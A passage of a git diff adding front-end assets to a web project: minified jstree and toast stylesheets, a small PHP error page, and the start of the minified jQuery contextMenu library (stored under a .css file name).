-4px;background-repeat:repeat-y}.jstree-default .jstree-last{background:transparent}.jstree-default .jstree-open>.jstree-ocl{background-position:-132px -4px}.jstree-default .jstree-closed>.jstree-ocl{background-position:-100px -4px}.jstree-default .jstree-leaf>.jstree-ocl{background-position:-68px -4px}.jstree-default .jstree-themeicon{background-position:-260px -4px}.jstree-default>.jstree-no-dots .jstree-node,.jstree-default>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -4px}.jstree-default>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -4px}.jstree-default .jstree-disabled{background:transparent}.jstree-default .jstree-disabled.jstree-hovered{background:transparent}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-checkbox{background-position:-164px -4px}.jstree-default .jstree-checkbox:hover{background-position:-164px -36px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default .jstree-checked>.jstree-checkbox{background-position:-228px -4px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default .jstree-checked>.jstree-checkbox:hover{background-position:-228px -36px}.jstree-default .jstree-anchor>.jstree-undetermined{background-position:-196px -4px}.jstree-default .jstree-anchor>.jstree-undetermined:hover{background-position:-196px -36px}.jstree-default .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default>.jstree-striped{background-size:auto 48px}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default.jstree-rtl .jstree-open>.jstree-ocl{background-position:-132px -36px}.jstree-default.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-100px -36px}.jstree-default.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-68px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -36px}.jstree-default .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/sunny/images/throbber.gif) center center no-repeat}.jstree-default .jstree-file{background:url(assets/jqueryui/sunny/images/32px.png) -100px -68px no-repeat}.jstree-default .jstree-folder{background:url(assets/jqueryui/sunny/images/32px.png) -260px -4px no-repeat}.jstree-default>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default{line-height:24px;padding:0 4px}#jstree-dnd.jstree-default .jstree-ok,#jstree-dnd.jstree-default .jstree-er{background-image:url(assets/jqueryui/sunny/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default i{background:transparent;width:24px;height:24px;line-height:24px}#jstree-dnd.jstree-default .jstree-ok{background-position:-4px -68px}#jstree-dnd.jstree-default .jstree-er{background-position:-36px -68px}.jstree-default .jstree-ellipsis{overflow:hidden}.jstree-default .jstree-ellipsis .jstree-anchor{width:calc(100% - 29px);text-overflow:ellipsis;overflow:hidden}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==)}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default-small .jstree-node{min-height:18px;line-height:18px;margin-left:18px;min-width:18px}.jstree-default-small .jstree-anchor{line-height:18px;height:18px}.jstree-default-small .jstree-icon{width:18px;height:18px;line-height:18px}.jstree-default-small .jstree-icon:empty{width:18px;height:18px;line-height:18px}.jstree-default-small.jstree-rtl .jstree-node{margin-right:18px}.jstree-default-small .jstree-wholerow{height:18px}.jstree-default-small .jstree-node,.jstree-default-small .jstree-icon{background-image:url(assets/jqueryui/sunny/images/32px.png)}.jstree-default-small .jstree-node{background-position:-295px -7px;background-repeat:repeat-y}.jstree-default-small .jstree-last{background:transparent}.jstree-default-small .jstree-open>.jstree-ocl{background-position:-135px -7px}.jstree-default-small .jstree-closed>.jstree-ocl{background-position:-103px -7px}.jstree-default-small .jstree-leaf>.jstree-ocl{background-position:-71px -7px}.jstree-default-small .jstree-themeicon{background-position:-263px -7px}.jstree-default-small>.jstree-no-dots .jstree-node,.jstree-default-small>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -7px}.jstree-default-small>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -7px}.jstree-default-small .jstree-disabled{background:transparent}.jstree-default-small .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-small .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-small .jstree-checkbox{background-position:-167px -7px}.jstree-default-small .jstree-checkbox:hover{background-position:-167px -39px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-small .jstree-checked>.jstree-checkbox{background-position:-231px -7px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-small .jstree-checked>.jstree-checkbox:hover{background-position:-231px -39px}.jstree-default-small .jstree-anchor>.jstree-undetermined{background-position:-199px -7px}.jstree-default-small .jstree-anchor>.jstree-undetermined:hover{background-position:-199px -39px}.jstree-default-small .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-small>.jstree-striped{background-size:auto 36px}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-small.jstree-rtl .jstree-open>.jstree-ocl{background-position:-135px -39px}.jstree-default-small.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-103px -39px}.jstree-default-small.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-71px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -39px}.jstree-default-small .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-small>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/sunny/images/throbber.gif) center center no-repeat}.jstree-default-small .jstree-file{background:url(assets/jqueryui/sunny/images/32px.png) -103px -71px no-repeat}.jstree-default-small .jstree-folder{background:url(assets/jqueryui/sunny/images/32px.png) -263px -7px no-repeat}.jstree-default-small>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-small{line-height:18px;padding:0 4px}#jstree-dnd.jstree-default-small .jstree-ok,#jstree-dnd.jstree-default-small .jstree-er{background-image:url(assets/jqueryui/sunny/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-small i{background:transparent;width:18px;height:18px;line-height:18px}#jstree-dnd.jstree-default-small .jstree-ok{background-position:-7px -71px}#jstree-dnd.jstree-default-small .jstree-er{background-position:-39px -71px}.jstree-default-small .jstree-ellipsis{overflow:hidden}.jstree-default-small .jstree-ellipsis .jstree-anchor{width:calc(100% - 23px);text-overflow:ellipsis;overflow:hidden}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAACAQMAAABv1h6PAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMHBgAAiABBI4gz9AAAAABJRU5ErkJggg==)}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-large .jstree-node{min-height:32px;line-height:32px;margin-left:32px;min-width:32px}.jstree-default-large .jstree-anchor{line-height:32px;height:32px}.jstree-default-large .jstree-icon{width:32px;height:32px;line-height:32px}.jstree-default-large .jstree-icon:empty{width:32px;height:32px;line-height:32px}.jstree-default-large.jstree-rtl .jstree-node{margin-right:32px}.jstree-default-large .jstree-wholerow{height:32px}.jstree-default-large .jstree-node,.jstree-default-large .jstree-icon{background-image:url(assets/jqueryui/sunny/images/32px.png)}.jstree-default-large .jstree-node{background-position:-288px 0;background-repeat:repeat-y}.jstree-default-large .jstree-last{background:transparent}.jstree-default-large .jstree-open>.jstree-ocl{background-position:-128px 0}.jstree-default-large .jstree-closed>.jstree-ocl{background-position:-96px 0}.jstree-default-large .jstree-leaf>.jstree-ocl{background-position:-64px 0}.jstree-default-large .jstree-themeicon{background-position:-256px 0}.jstree-default-large>.jstree-no-dots .jstree-node,.jstree-default-large>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px 0}.jstree-default-large>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 0}.jstree-default-large .jstree-disabled{background:transparent}.jstree-default-large .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-large .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-large .jstree-checkbox{background-position:-160px 0}.jstree-default-large .jstree-checkbox:hover{background-position:-160px -32px}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-large .jstree-checked>.jstree-checkbox{background-position:-224px 0}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-large .jstree-checked>.jstree-checkbox:hover{background-position:-224px -32px}.jstree-default-large .jstree-anchor>.jstree-undetermined{background-position:-192px 0}.jstree-default-large .jstree-anchor>.jstree-undetermined:hover{background-position:-192px -32px}.jstree-default-large .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-large>.jstree-striped{background-size:auto 64px}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}.jstree-default-large.jstree-rtl .jstree-open>.jstree-ocl{background-position:-128px -32px}.jstree-default-large.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-96px -32px}.jstree-default-large.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-64px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 -32px}.jstree-default-large .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-large>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/sunny/images/throbber.gif) center center no-repeat}.jstree-default-large .jstree-file{background:url(assets/jqueryui/sunny/images/32px.png) -96px -64px no-repeat}.jstree-default-large .jstree-folder{background:url(assets/jqueryui/sunny/images/32px.png) -256px 0 no-repeat}.jstree-default-large>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-large{line-height:32px;padding:0 4px}#jstree-dnd.jstree-default-large .jstree-ok,#jstree-dnd.jstree-default-large .jstree-er{background-image:url(assets/jqueryui/sunny/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-large i{background:transparent;width:32px;height:32px;line-height:32px}#jstree-dnd.jstree-default-large .jstree-ok{background-position:0 -64px}#jstree-dnd.jstree-default-large .jstree-er{background-position:-32px -64px}.jstree-default-large .jstree-ellipsis{overflow:hidden}.jstree-default-large .jstree-ellipsis .jstree-anchor{width:calc(100% - 37px);text-overflow:ellipsis;overflow:hidden}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAACAQMAAAAD0EyKAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjgIIGBgABCgCBvVLXcAAAAABJRU5ErkJggg==)}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}@media (max-width:768px){#jstree-dnd.jstree-dnd-responsive{line-height:40px;font-weight:700;font-size:1.1em;text-shadow:1px 1px white}#jstree-dnd.jstree-dnd-responsive>i{background:transparent;width:40px;height:40px}#jstree-dnd.jstree-dnd-responsive>.jstree-ok{background-image:url(assets/jqueryui/sunny/images/40px.png);background-position:0 -200px;background-size:120px 240px}#jstree-dnd.jstree-dnd-responsive>.jstree-er{background-image:url(assets/jqueryui/sunny/images/40px.png);background-position:-40px -200px;background-size:120px 240px}#jstree-marker.jstree-dnd-responsive{border-left-width:10px;border-top-width:10px;border-bottom-width:10px;margin-top:-10px}}@media (max-width:768px){.jstree-default-responsive{}.jstree-default-responsive .jstree-icon{background-image:url(assets/jqueryui/sunny/images/40px.png)}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-node{min-height:40px;line-height:40px;margin-left:40px;min-width:40px;white-space:nowrap}.jstree-default-responsive .jstree-anchor{line-height:40px;height:40px}.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-icon:empty{width:40px;height:40px;line-height:40px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0}.jstree-default-responsive.jstree-rtl .jstree-node{margin-left:0;margin-right:40px;background:transparent}.jstree-default-responsive.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-default-responsive .jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-size:120px 240px}.jstree-default-responsive .jstree-leaf>.jstree-ocl,.jstree-default-responsive.jstree-rtl .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-open>.jstree-ocl{background-position:0 0!important}.jstree-default-responsive .jstree-closed>.jstree-ocl{background-position:0 -40px!important}.jstree-default-responsive.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-40px 0!important}.jstree-default-responsive .jstree-themeicon{background-position:-40px -40px}.jstree-default-responsive .jstree-checkbox,.jstree-default-responsive .jstree-checkbox:hover{background-position:-40px -80px}.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-responsive .jstree-checked>.jstree-checkbox,.jstree-default-responsive .jstree-checked>.jstree-checkbox:hover{background-position:0 -80px}.jstree-default-responsive .jstree-anchor>.jstree-undetermined,.jstree-default-responsive .jstree-anchor>.jstree-undetermined:hover{background-position:0 -120px}.jstree-default-responsive .jstree-anchor{font-weight:700;font-size:1.1em;text-shadow:1px 1px white}.jstree-default-responsive>.jstree-striped{background:transparent}.jstree-default-responsive .jstree-wholerow{border-top:1px solid rgba(255,255,255,.7);border-bottom:1px solid rgba(64,64,64,.2);background:#ebebeb;height:40px}.jstree-default-responsive .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default-responsive .jstree-wholerow-clicked{background:#beebff}.jstree-default-responsive .jstree-children .jstree-last>.jstree-wholerow{box-shadow:inset 0 -6px 3px -5px #666}.jstree-default-responsive .jstree-children .jstree-open>.jstree-wholerow{box-shadow:inset 0 6px 3px -5px #666;border-top:0}.jstree-default-responsive .jstree-children .jstree-open + .jstree-open{box-shadow:none}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-node>.jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-image:url(assets/jqueryui/sunny/images/40px.png);background-size:120px 240px}.jstree-default-responsive .jstree-node{background-position:-80px 0;background-repeat:repeat-y}.jstree-default-responsive .jstree-last{background:transparent}.jstree-default-responsive .jstree-leaf>.jstree-ocl{background-position:-40px -120px}.jstree-default-responsive .jstree-last>.jstree-ocl{background-position:-40px -160px}.jstree-default-responsive .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-responsive .jstree-file{background:url(assets/jqueryui/sunny/images/40px.png) 0 -160px no-repeat;background-size:120px 240px}.jstree-default-responsive .jstree-folder{background:url(assets/jqueryui/sunny/images/40px.png) -40px -40px no-repeat;background-size:120px 240px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}}.toast-container{width:280px;z-index:9999}* html .toast-container{position:absolute}.toast-item{height:auto;background:#817865 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_45_817865_500x100.png) 50% 50% repeat-x;opacity:1;-webkit-border-radius:10px;color:#fff;padding-top:20px;padding-bottom:20px;padding-left:6px;padding-right:6px;font-family:Segoe UI,Arial,sans-serif;font-size:14px;font-weight:700;border:2px solid #494437;display:block;position:relative;margin:0 0 12px 0}.toast-item p{text-align:left;margin-left:50px}.toast-item-close{background:url(assets/jqueryui/sunny/images/close.gif);width:22px;height:22px;position:absolute;top:7px;right:7px}.toast-item-image{width:32px;height:32px;position:absolute;top:50%;margin-top:-16px;left:10px}.toast-item-image-notice{background:url(assets/jqueryui/sunny/images/notice.png)}.toast-item-image-success{background:url(assets/jqueryui/sunny/images/success.png)}.toast-item-image-warning{background:url(assets/jqueryui/sunny/images/warning.png)}.toast-item-image-error{background:url(assets/jqueryui/sunny/images/error.png)}.toast-type-notice{color:#fff}.toast-type-success{color:#fff}.toast-type-warning{border-color:#eeb420;background:#fff9e5 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_90_fff9e5_500x100.png) 50% top repeat-x;color:#1f1f1f}.toast-type-error{border-color:#ffb73d;background:#d34d17 url(assets/jqueryui/sunny/images/ui-bg_diagonals-medium_20_d34d17_40x40.png) 50% 50% repeat;color:#fff}.toast-type-warning .toast-item-close{display:none}.toast-position-top-left{position:fixed;left:6%;top:15px}.toast-position-top-center{position:fixed;top:15px;left:50%;margin-left:-140px}.toast-position-top-right{position:fixed;top:15px;right:6%}.toast-position-middle-left{position:fixed;left:6%;top:50%;margin-top:-40px}.toast-position-middle-center{position:fixed;left:50%;margin-left:-140px;margin-top:-40px;top:50%}.toast-position-middle-right{position:fixed;right:6%;margin-left:-140px;margin-top:-40px;top:50%} \ No newline at end of file diff --git a/assets/sounds/PS3TSound.swf b/assets/sounds/PS3TSound.swf new file mode 100644 index 0000000..cad5bf4 Binary files /dev/null and b/assets/sounds/PS3TSound.swf differ diff --git a/blank.php b/blank.php new file mode 100644 index 0000000..501a6bb --- /dev/null +++ b/blank.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/error.php b/error.php new file mode 100644 index 0000000..3427ca4 --- /dev/null +++ b/error.php @@ -0,0 +1 @@ +

Something went wrong, abort immediately!

diff --git a/fe/scripts/contextMenu-2.9.2/jquery.contextMenu.min.css b/fe/scripts/contextMenu-2.9.2/jquery.contextMenu.min.css new file mode 100644 index 0000000..e86b5e5 --- /dev/null +++ b/fe/scripts/contextMenu-2.9.2/jquery.contextMenu.min.css @@ -0,0 +1 @@ +!function(e){"function"==typeof define&&define.amd?define(["jquery"],e):"object"==typeof exports?e(require("jquery")):e(jQuery)}(function(d){"use strict";var a;d.support.htmlMenuitem="HTMLMenuItemElement"in window,d.support.htmlCommand="HTMLCommandElement"in window,d.support.eventSelectstart="onselectstart"in document.documentElement,d.ui&&d.widget||(d.cleanData=(a=d.cleanData,function(e){for(var t,n,o=0;null!=e[o];o++){n=e[o];try{(t=d._data(n,"events"))&&t.remove&&d(n).triggerHandler("remove")}catch(e){}}a(e)}));var i=null,m=!1,p=d(window),f=0,h={},g={},x={},v={selector:null,appendTo:null,trigger:"right",autoHide:!1,delay:200,reposition:!0,hideOnSecondTrigger:!1,selectableSubMenu:!1,classNames:{hover:"context-menu-hover",disabled:"context-menu-disabled",visible:"context-menu-visible",notSelectable:"context-menu-not-selectable",icon:"context-menu-icon",iconEdit:"context-menu-icon-edit",iconCut:"context-menu-icon-cut",iconCopy:"context-menu-icon-copy",iconPaste:"context-menu-icon-paste",iconDelete:"context-menu-icon-delete",iconAdd:"context-menu-icon-add",iconQuit:"context-menu-icon-quit",iconLoadingClass:"context-menu-icon-loading"},determinePosition:function(e){var t;d.ui&&d.ui.position?e.css("display","block").position({my:"center top",at:"center bottom",of:this,offset:"0 5",collision:"fit"}).css("display","none"):((t=this.offset()).top+=this.outerHeight(),t.left+=this.outerWidth()/2-e.outerWidth()/2,e.css(t))},position:function(e,t,n){var o,a,s;t||n?(o="maintain"===t&&"maintain"===n?e.$menu.position():{top:n-(s=e.$menu.offsetParent().offset()).top,left:t-s.left},a=p.scrollTop()+p.height(),n=p.scrollLeft()+p.width(),t=e.$menu.outerHeight(),s=e.$menu.outerWidth(),o.top+t>a&&(o.top-=t),o.top<0&&(o.top=0),o.left+s>n&&(o.left-=s),o.left<0&&(o.left=0),e.$menu.css(o)):e.determinePosition.call(this,e.$menu)},positionSubmenu:function(e){var t;void 0!==e&&(d.ui&&d.ui.position?e.css("display","block").position({my:"left top-5",at:"right top",of:this,collision:"flipfit fit"}).css("display",""):(t={top:-9,left:this.outerWidth()-5},e.css(t)))},zIndex:1,animation:{duration:50,show:"slideDown",hide:"slideUp"},events:{preShow:d.noop,show:d.noop,hide:d.noop,activated:d.noop},callback:null,items:{}},s={timer:null,pageX:null,pageY:null},b={abortevent:function(e){e.preventDefault(),e.stopImmediatePropagation()},contextmenu:function(e){var t=d(this);if(!1!==e.data.events.preShow(t,e)&&("right"===e.data.trigger&&(e.preventDefault(),e.stopImmediatePropagation()),!("right"!==e.data.trigger&&"demand"!==e.data.trigger&&e.originalEvent||!(void 0===e.mouseButton||!e.data||"left"===e.data.trigger&&0===e.mouseButton||"right"===e.data.trigger&&2===e.mouseButton)||t.hasClass("context-menu-active")||t.hasClass("context-menu-disabled")))){if(i=t,e.data.build){var n=e.data.build(i,e);if(!1===n)return;if(e.data=d.extend(!0,{},v,e.data,n||{}),!e.data.items||d.isEmptyObject(e.data.items))throw window.console&&(console.error||console.log).call(console,"No items specified to show in contextMenu"),new Error("No Items specified");e.data.$trigger=i,$.create(e.data)}$.show.call(t,e.data,e.pageX,e.pageY)}},click:function(e){e.preventDefault(),e.stopPropagation(),e.stopImmediatePropagation(),d(this).trigger(d.Event("contextmenu",{data:e.data,pageX:e.pageX,pageY:e.pageY}))},mousedown:function(e){var t=d(this);i&&i.length&&!i.is(t)&&i.data("contextMenu").$menu.trigger("contextmenu:hide"),2===e.button&&(i=t.data("contextMenuActive",!0))},mouseup:function(e){var t=d(this);t.data("contextMenuActive")&&i&&i.length&&i.is(t)&&!t.hasClass("context-menu-disabled")&&(e.preventDefault(),e.stopImmediatePropagation(),(i=t).trigger(d.Event("contextmenu",{data:e.data,pageX:e.pageX,pageY:e.pageY}))),t.removeData("contextMenuActive")},mouseenter:function(e){var t=d(this),n=d(e.relatedTarget),o=d(document);n.is(".context-menu-list")||n.closest(".context-menu-list").length||i&&i.length||(s.pageX=e.pageX,s.pageY=e.pageY,s.data=e.data,o.on("mousemove.contextMenuShow",b.mousemove),s.timer=setTimeout(function(){s.timer=null,o.off("mousemove.contextMenuShow"),(i=t).trigger(d.Event("contextmenu",{data:s.data,pageX:s.pageX,pageY:s.pageY}))},e.data.delay))},mousemove:function(e){s.pageX=e.pageX,s.pageY=e.pageY},mouseleave:function(e){var t=d(e.relatedTarget);if(!t.is(".context-menu-list")&&!t.closest(".context-menu-list").length){try{clearTimeout(s.timer)}catch(e){}s.timer=null}},layerClick:function(o){var a,s,i=d(this).data("contextMenuRoot"),c=o.button,l=o.pageX,r=o.pageY,u=void 0===l;o.preventDefault(),o.stopImmediatePropagation(),o.stopPropagation(),setTimeout(function(){if(u)null!=i&&null!==i.$menu&&void 0!==i.$menu&&i.$menu.trigger("contextmenu:hide");else{var e,t,n="left"===i.trigger&&0===c||"right"===i.trigger&&2===c;if(document.elementFromPoint&&i.$layer&&(i.$layer.hide(),null!==(a=document.elementFromPoint(l-p.scrollLeft(),r-p.scrollTop()))&&a.isContentEditable&&(e=document.createRange(),t=window.getSelection(),e.selectNode(a),e.collapse(!0),t.removeAllRanges(),t.addRange(e)),d(a).trigger(o),i.$layer.show(),d(a).focus()),i.hideOnSecondTrigger&&n&&null!==i.$menu&&void 0!==i.$menu)i.$menu.trigger("contextmenu:hide");else{if(i.reposition&&n)if(document.elementFromPoint){if(i.$trigger.is(a))return void i.position.call(i.$trigger,i,l,r)}else if(s=i.$trigger.offset(),e=d(window),s.top+=e.scrollTop(),s.top<=o.pageY&&(s.left+=e.scrollLeft(),s.left<=o.pageX&&(s.bottom=s.top+i.$trigger.outerHeight(),s.bottom>=o.pageY&&(s.right=s.left+i.$trigger.outerWidth(),s.right>=o.pageX))))return void i.position.call(i.$trigger,i,l,r);a&&n&&i.$trigger.one("contextmenu:hidden",function(){d(a).contextMenu({x:l,y:r,button:c})}),null!=i&&null!==i.$menu&&void 0!==i.$menu&&i.$menu.trigger("contextmenu:hide")}}},50)},keyStop:function(e,t){t.isInput||e.preventDefault(),e.stopPropagation()},key:function(e){var t={};i&&(t=i.data("contextMenu")||{}),void 0===t.zIndex&&(t.zIndex=0);var n=0,o=function(e){""!==e.style.zIndex?n=e.style.zIndex:null!==e.offsetParent&&void 0!==e.offsetParent?o(e.offsetParent):null!==e.parentElement&&void 0!==e.parentElement&&o(e.parentElement)};if(o(e.target),!(t.$menu&&parseInt(n,10)>parseInt(t.$menu.css("zIndex"),10))){switch(e.keyCode){case 9:case 38:if(b.keyStop(e,t),t.isInput){if(9===e.keyCode&&e.shiftKey)return e.preventDefault(),t.$selected&&t.$selected.find("input, textarea, select").blur(),void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("prevcommand"));if(38===e.keyCode&&"checkbox"===t.$selected.find("input, textarea, select").prop("type"))return void e.preventDefault()}else if(9!==e.keyCode||e.shiftKey)return void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("prevcommand"));break;case 40:if(b.keyStop(e,t),!t.isInput)return void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("nextcommand"));if(9===e.keyCode)return e.preventDefault(),t.$selected&&t.$selected.find("input, textarea, select").blur(),void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("nextcommand"));if(40===e.keyCode&&"checkbox"===t.$selected.find("input, textarea, select").prop("type"))return void e.preventDefault();break;case 37:if(b.keyStop(e,t),t.isInput||!t.$selected||!t.$selected.length)break;if(t.$selected.parent().hasClass("context-menu-root"))break;var a=t.$selected.parent().parent();return t.$selected.trigger("contextmenu:blur"),void(t.$selected=a);case 39:if(b.keyStop(e,t),t.isInput||!t.$selected||!t.$selected.length)break;var s=t.$selected.data("contextMenu")||{};if(s.$menu&&t.$selected.hasClass("context-menu-submenu"))return t.$selected=null,s.$selected=null,void s.$menu.trigger("nextcommand");break;case 35:case 36:return t.$selected&&t.$selected.find("input, textarea, select").length?void 0:((t.$selected&&t.$selected.parent()||t.$menu).children(":not(."+t.classNames.disabled+", ."+t.classNames.notSelectable+")")[36===e.keyCode?"first":"last"]().trigger("contextmenu:focus"),void e.preventDefault());case 13:if(b.keyStop(e,t),t.isInput){if(t.$selected&&!t.$selected.is("textarea, select"))return void e.preventDefault();break}return void(void 0!==t.$selected&&null!==t.$selected&&t.$selected.trigger("mouseup"));case 32:case 33:case 34:return void b.keyStop(e,t);case 27:return b.keyStop(e,t),void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("contextmenu:hide"));default:s=String.fromCharCode(e.keyCode).toUpperCase();if(t.accesskeys&&t.accesskeys[s])return void t.accesskeys[s].$node.trigger(t.accesskeys[s].$menu?"contextmenu:focus":"mouseup")}e.stopPropagation(),void 0!==t.$selected&&null!==t.$selected&&t.$selected.trigger(e)}},prevItem:function(e){e.stopPropagation();var t,n=d(this).data("contextMenu")||{},o=d(this).data("contextMenuRoot")||{};n.$selected&&(t=n.$selected,(n=n.$selected.parent().data("contextMenu")||{}).$selected=t);for(var 